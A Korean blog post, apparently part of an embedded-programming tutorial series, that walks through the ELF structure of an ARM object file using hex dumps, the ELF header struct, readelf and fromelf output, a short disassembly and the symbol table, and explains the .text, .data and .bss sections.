00000410h: 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; D...............
00000420h: 00 00 00 00 24 00 00 00 01 00 00 00 06 00 00 00 ; ....$...........
00000430h: 00 00 00 00 34 00 00 00 0C 00 00 00 00 00 00 00 ; ....4...........
00000440h: 00 00 00 00 04 00 00 00 00 00 00 00 2A 00 00 00 ; ............*...
00000450h: 08 00 00 00 03 00 00 00 00 00 00 00 40 00 00 00 ; ............@...
00000460h: 04 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ; ................
00000470h: 00 00 00 00 2F 00 00 00 01 00 00 00 03 00 00 00 ; ..../...........
00000480h: 00 00 00 00 40 00 00 00 04 00 00 00 00 00 00 00 ; ....@...........
00000490h: 00 00 00 00 04 00 00 00 00 00 00 00 35 00 00 00 ; ............5...
000004a0h: 01 00 00 00 03 00 00 00 00 00 00 00 44 00 00 00 ; ............D...
000004b0h: 04 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ; ................
000004c0h: 00 00 00 00 3B 00 00 00 01 00 00 00 00 00 00 00 ; ....;...........
000004d0h: 00 00 00 00 48 00 00 00 3C 00 00 00 00 00 00 00 ; ....H...<.......
000004e0h: 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 00 ; ............P...
000004f0h: 09 00 00 00 00 00 00 00 00 00 00 00 E0 02 00 00 ; ............?..
00000500h: 10 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 ; ................
00000510h: 08 00 00 00                                     ; ....
 
음.................................... 음.. 상당히 뭔가 있어 보입니다만, 머리 속이 복잡해 지는군요. 인간의 눈으로는 모르는 것이 당연합니다. 이제부터는 기계어 세상이 되어 버렸으니까요. (ELF 규격을 따른) 이 숫자들의 연속인 것을 알아보려면, 앞에서 말한 ELF format에 대하여, 조금 알아야 합니다.
 
ELF에 대하여, 조금 알아보도록 하지요. ARM ELF specification을 인터넷에서 찾아보시면, (참고로 문서번호는 SWS ESPC 0003 B-02, 8 June, 2001 복잡하다 흡) 그 안에서 다음과 같은 그림을 찾으실 수 있으실 것입니다
.
 
  
두 가지의 view가 그려져 있는데, 별건 아니고, Linking View가 relocatable file의 형식입니다. 쉽게 말해서 Link하기전의 object file (.o)은 Linking View이고요, Link가 끝난 후에 완전한 실행 가능한 형태가 된 ELF 형식을 Execution View라고 부릅니다. (Link 하려고 보니까, 다른 object file하고 연결 하려고 여러 가지 정보들을 심어 놓은 것 뿐입죠. ) 위에서 만들어 낸 spaghetti.o는 위의 object file format중 Linking View를 따르고 있다고 봐야 합니다. 오, 별거 아닐 거 같다는 생각이 듭니다. 좀 더 파고 들어가자면, 예를 들어, ELF Header중 한 개만 분석해 보면 감이 팍팍 올 것입니다. 아래는 ELF Header가 어떻게 구성되어 있는가를 구체적으로 볼 수 있는 구조체 입니다. ELF Header에는 ELF file의 특징을 결정 짓는 Endian, 운영체제, CPU 정보들 더하기 내부의 각 Section의 시작 위치 (offset)과 크기 정보가 들어 있습니다. 많은 양의 member들이 있습니다만, 겁부터 집어먹으면 안됩니다. 딱 한 개만 해보면 다른 것도 다 똑같은 원리로 분석이 가능하니, 걱정은 전혀 붙들어 매시라니까요.
 
 
#define EI_NIDENT 16
typedef struct {
        unsigned char e_ident[EI_NIDENT];
        Elf32_Half e_type;
        Elf32_Half e_machine;
        Elf32_Word e_version;
        Elf32_Addr e_entry;
        Elf32_Off e_phoff;
        Elf32_Off e_shoff;
        Elf32_Word e_flags;
        Elf32_Half e_ehsize;
        Elf32_Half e_phentsize;
        Elf32_Half e_phnum;
        Elf32_Half e_shentsize;
        Elf32_Half e_shnum;
        Elf32_Half e_shstrndx;
} Elf32_Ehdr;
 
이중에서 가장 만만해 보이는 걸 하나 잡아 봅시다. 맨 앞에 e_ident는 (IDENTIFICATION)은 재미 없어 보이니까, 그 다음에 보이는 e_type을 분석해 보기로 마음먹고 자자 레츠고. Object file이 시작하게 되면, 16 byte의 e_ident를 지나 Elf32_Half e_type을 만나게 됩니다. Elf32_Half는 눈치 채신 바와 같이 32 bit의 반, 16 bit이며, 이는 2 byte를 의미합니다. 그리고, ARM Elf specification을 찾아보니, e_type은 다음과 같은 값들을 가질 수 있습니다.
 

- e_type :  
 ===============================================
   Name         Value           Meaning
===============================================
  ET_NONE        0            No file type
  ET_REL         1          Relocatable file
  ET_EXEC        2          Executable file
  ET_DYN         3          Shared object file
  ET_CORE        4             Core file
  ET_LOPROC    0xff00       Processor-specific
  ET_HIPROC    0xffff       Processor-specific

 
어허 가만히 보니까, e_type이라는건 file의 종류가 어떤 거냐는 것을 표기해 놓은 것이네요. 1이면 Relocatable file 2면 Executalbe file등이네요. 그러면, 지금 살펴보던 file은 -c option을 이용하여 relocatable file을 만들었으니까, 값은 1을 가져야 하겠습니다. 진짜로 그런가 확인해 봅시다.
 
 
00000000h: 7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00 ; ELF............
00000010h: 01 00 28 00 01 00 00 00 00 00 00 00 00 00 00 00 ; ..(.............
 
자, 앞에 16byte를 빼고서 (e_ident를 건너 띄우고), 2 byte를 읽어 보면 01 00 입니다. 이것을 Little Endian으로 해석해 보면, 00 01 이네요. 결국 1이라는 뜻이죠. 오오, 의외로 간단하네요. 내친 김에 하나 더? 라고 생각해 봤지만, 그다지 쓸모 있는 과정은 아닌 것 같습니다. 정말 그런가만 확인 했고요, 이제 와서 이런걸 자동으로 해주는 tool이 있다고 말하면 너무 무책임한 건가 - 뭐 어쩔 수 없잖아 - 라고 생각합니다. 죄송.
GCC bin utility를 보면, readelf라는 utility가 있는데, 이 녀석을 이용하면, 상당히 편하게 ELF file의 내용물을 들여다 볼 수 있습니다. (위와 같은 수고로움은 readelf가 없을 때, 해야 합니다.) 한번 들여다 봅시다. readelf는 다음과 같이 사용합니다.
 
readelf -h spaghetti.o     (-h 는 header 이라는 option이며, readelf에는 그 외에도 여러가지 option들이 있습니다. )
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              
REL (Relocatable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          860 (bytes into file)
  Flags:                             0x2000000, Version2 EABI
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         0
  Size of section headers:           40 (bytes)
  Number of section headers:         11
  Section header string table index: 1

 

헙, ELF header에는 위와 같은 내용들이 들어 있네요. 보시면, Type은 Relocatable이고, Machine은 ARM 이고,  뭐 이러니 저러니 떠들어 놓았습니다. 멍하니 두 눈의 근육을 풀어놓고 보고 있자니, 정말 편한 세상입니다. 
 
자, 이제 link를 해 보기 전에, 이 object file이 link를 하기 위해서 어떤 것들을 해 두었는지를 "연구"해 볼 까요. 우리가 살펴 보았던 ELF header의 크기를 환산해 보면 (다 더해보면), 52 byte입니다. (뭐, readelf를 통해서 알아낸 header의 정보 중 size of this header도 52 (bytes)라고 나와 있군요.) 그렇다면, 52 byte 이후에는 “도대체” 무엇이 있을 까요?
 
뭐 별거 있겠습니까 - 라고 말했지만 막막하기만 하죠 - 하지만, 길은 무조건 있기 마련이니까 걱정 마시고, 아마도 실제 코드 부분이 있을 거라 가정하고, 진짜 코드가 오지 않을까 확인해 보는 것은 어떨까요? spaghetti.c가 compile된 후에 기계어 (op code)으로는 어떻게 되었을까 확인하는 방법으로는, 실제 object code를 disassemble 해 보는 방법이 있습니다. Utility이름 처럼 fromelf - ELF로 부터 - 뭐든 할 수 있는가 봅니다.
 
fromelf -c spaghetti.o
 
결과를 보시면 많은 정보가 나와있는데, 나머지 정보는 천천히 심심할 때 훑어보시고, disassemble된 부분만 살펴 봐야죠.
 
 
 
** Section '.text' (SHT_PROGBITS) [SHF_ALLOC + SHF_EXECINSTR]
    Size   : 12 bytes (alignment 4)
    main
    $t
    .text
        0x00000000:    2003        .       MOV      r0,#3
        0x00000002:    2104        .!      MOV      r1,#4
        0x00000004:    1840        @.      ADD      r0,r0,r1
        0x00000006:    1810        ..      ADD      r0,r2,r0
        0x00000008:    4770        pG      BX       r14
    $d
        0x0000000a:    0000        ..      DCW    0
 
 
오오, main이라는 것이 Section #5 text 에 자리잡고 있네요. 오른쪽을 보면, 'Assembly로 만드는 방법 편'에서 보았던 Assembly가 보입니다 (완전 똑같네요 - 별로 놀라운 일은 아닌가 하는 생각이 문득 드네요.)
자 그러면, 정말 코드 영역은 왼쪽에 늘어선 숫자들인 2003 2104 1840 1810 4770 이겠네요. 16 bit Little Endian으로 다시 늘어 써 보면 0320 0421 4018 1018 7040 이고, 실제 이 값이 object file의 52byte이후에 적혀 있는지 확인해 보시도록 하시죠. (자 이 부분이 compiler 즉, machine에 따라 틀린 값이 되겠지요. ARM과 Intel은 서로 다른 Opcode로 동작 할 테니까요.) 
 
 
00000000h: 7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00 ; ELF............
00000010h: 01 00 28 00 01 00 00 00 00 00 00 00 00 00 00 00 ; ..(.............
00000020h: 5C 03 00 00 00 00 00 02 34 00 20 00 00 00 28 00 ; \.......4. ...(.
00000030h: 0B 00 01 00 03 20 04 21 40 18 10 18 70 47 00 00 ; ..... 
.!@...pG..
00000040h: 03 00 00 00 03 00 00 00 28 00 00 00 FF FF FF FF ; ........(...
 
헉 정말 쓰여져 있네요. main() 함수를 처리하기 위한 op code는 보시는 바와 같이 얼마 되지 않습니다만, 그 외 linker를 통하여, 하나의 executable ELF로 만들기 위하여 만들어 두는 다른 section들이 있으니까, spaghetti.o 는 상당히 큰 file 이 됩니다. 다른 section들 중 몇 개만 readelf를 이용해서 확인한다면, spaghetti.o가 가지고 있는 symbol table과 relocation table입니다.
 
Symbol의 정의는 앞에 나왔으니까 잘 찾아보세요.
 
먼저, symbol table은 아래와 같이 형성되는데, 이 내용 중 눈 여겨 볼 것은 main()함수와 zi, rw, relocate 전역변수가 어디에 낑겨 있는지를 확인하는 것이 급선무 이지요.
 
 
Symbol table '.symtab' contains 20 entries
 Num:    Value       Size         Type      Bind  Vis      Ndx
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 FUNC    LOCAL  DEFAULT    5 $t
     2: 0000000a     0 FUNC    LOCAL  DEFAULT    5 $d
     3: 00000000     0 FILE    LOCAL  DEFAULT  ABS spaghetti.c
     4: 00000000     0 OBJECT  LOCAL  DEFAULT    6 .bss$7
     5: 00000000     0 SECTION LOCAL  DEFAULT    6 .bss
     6: 00000000     0 OBJECT  LOCAL  DEFAULT    7 .data$10
     7: 00000000     0 SECTION LOCAL  DEFAULT    7 .data
     8: 00000000     0 OBJECT  LOCAL  DEFAULT    8 .data$15
     9: 00000000     0 SECTION LOCAL  DEFAULT    8 .data
    10: 00000000     0 SECTION LOCAL  DEFAULT    5 .text
    11: 00000000     0 OBJECT  LOCAL  DEFAULT    9 C$debug_frame1
    12: 00000000     0 NOTYPE  LOCAL  DEFAULT  ABS BuildAttributes$$THUMB_IS
    13: 00000000     0 FUNC    WEAK   DEFAULT  UND Lib$$Request$$armlib
    14: 00000000     4 OBJECT  GLOBAL DEFAULT    6 zi
    15: 00000000     4 OBJECT  GLOBAL DEFAULT    7 rw
    16: 00000000     4 OBJECT  GLOBAL DEFAULT    8 relocate
    17: 00000000    10 FUNC    GLOBAL DEFAULT    5 main
    18: 00000000     0 FUNC    GLOBAL DEFAULT  UND __main
    19: 00000000     0 FUNC    GLOBAL DEFAULT  UND _main
 
 
Symbol table의 내용 중 Name은 Linker를 위한 symbol 이름이고, Value는 각 section에서의 해당 symbol의 시작 offset 주소를, Size는 Symbol의 크기 (Symbol이 function이나 object가 아닌 경우에는 0), Type은 Function, Object, Section 등을 나타내며, Bind는 Symbol의 scope를 한정 (Local, Global, Weak) 합니다.
 
약간의 참고로, Ndx에 보시면, UND는 현재 file에서 사용되고 있지만, 실제 함수의 define이 없는 경우를 의미하며, ABS는 relocate 되어서는 안 되는 것을 의미해요 그리고, Ndx= 1이면,.text section을 의미하고요, Ndx=3이면, .data를 의미하는 거죠. Symbol의 scope를 한정하는 것 중 WEAK의 경우는 LOCAL로만 쓰일 가능성이 큰 symbol을 의미하지요.
 
자세히 보시면, main()은 FUNC (function)이며, GLOBAL로 처리 되고, zi, rw, relocate 역시, GLOBAL variable로 처리가 되어 있음을 확인할 수 있습니다. 다른 file의 함수 등에서 이 global 변수나, 함수를 만지거나, 호출하게 되는 경우 linker가 바로 이 table을 이용하여, 서로를 엮어주는 역할을 하게 됩니다. compile된 file이 수천 개가 될 경우, 이에 대한 table들을 서로 전부다 엮어야 되니까, linker는 해야 하는 일이 엄청 많겠죠? 
이런 식으로 따져 가다 보면, - ELF specification을 전부다 분석하다가 진짜로 무엇을 하려고 했는지,  잊어버릴 수도 있으니까, 실제 분석은 ELF specification을 보시는 것이 도움이 되겠습니다. 덜덜덜 - 실제적인 ELF의 형식을 다음 그림과 같이 표현할 수 있겠습니다.
 
 
 
 
실제 spaghetti.o 구조를 위의 ELF 구조에 맞추어서 다시 그려보면, spaghetti.o 구조가 어떤 것인지, 확연하게 알아보실  있으리라 생각하고 있습니다. 진짜 spaghetti처럼 그림이 엉켜 버렸네요.

 
 
이런 식으로 object file을 만들어 두면, Linker가 이것들을 보고서 막 연결할 수 있겠다는 자신감이 들기 시작합니다. 이런 식의 자세한 분석에 너무 심각하게 되진 말아주세요. -그리 자세하지도 않지만-
 
마지막으로 기타 Section들까지 모두 자세히 들여다 본다면
 
 
 
뭐 이런 식이고요
 
위의 .text는 code,  .rodata, .data, .bss는 Data영역에 속하니까 잘 아시겠고 다른 section들의 의미는 뒤에 더 자세히 다루니까 걱정 말고 넘어가 주세요. 
 
 ELF format에 대하여 한가지 더 덧붙이자면, section은 서로 관련이 있는 녀석들끼리 묶이게 마련인데, 이런 관련성이라는 것이 3가지 정도로 나뉘게 되지요. 코드들은 text라는 section, 초기화 된 전역변수는 data라는 section, 그리고, 마지막 초기화 되지 않은 전역 변수들은 bss 라는 section에 같이 묶이게 됩니다. symbol table에도 보면, 오른쪽에 bss, data, text등이 있는 것을 보실 수 있습니다.  그런데, data, text는 무슨 뜻인지 알겠는데, bss는 도대체 어디서 온 말일까? 라는 의문이 제 머리를 사로 잡은 적이 있습니다. bss의 의미는 1950년대 IBM704 assembly에서부터 나온 것으로서 Block Started By Symbol인데 소프트웨어 공학으로 유명한 카네기 멜론대학교의 어떤 사람은 "Better Save Space"라고도 하던데요. 과연 저도 말장난 하나 더 하자면, "Better Save ROM Space" 라고 부르면 혼날까요? 진정한 bss의 의미는 Scatter Loading을 알게 되면 확실하게 감 오실 거에요.
Block Started By Symbol의 의미도 Scatter Loading에서 더 자세히 알게 되실 거에요
 
 Link에서 ELF 형식에 대해서 더 자세히 볼 것이니 이번 판에 너무 기대 많이 했다면, 다음 판을 기대하세요.
블로그 이미지

wtdsoul

,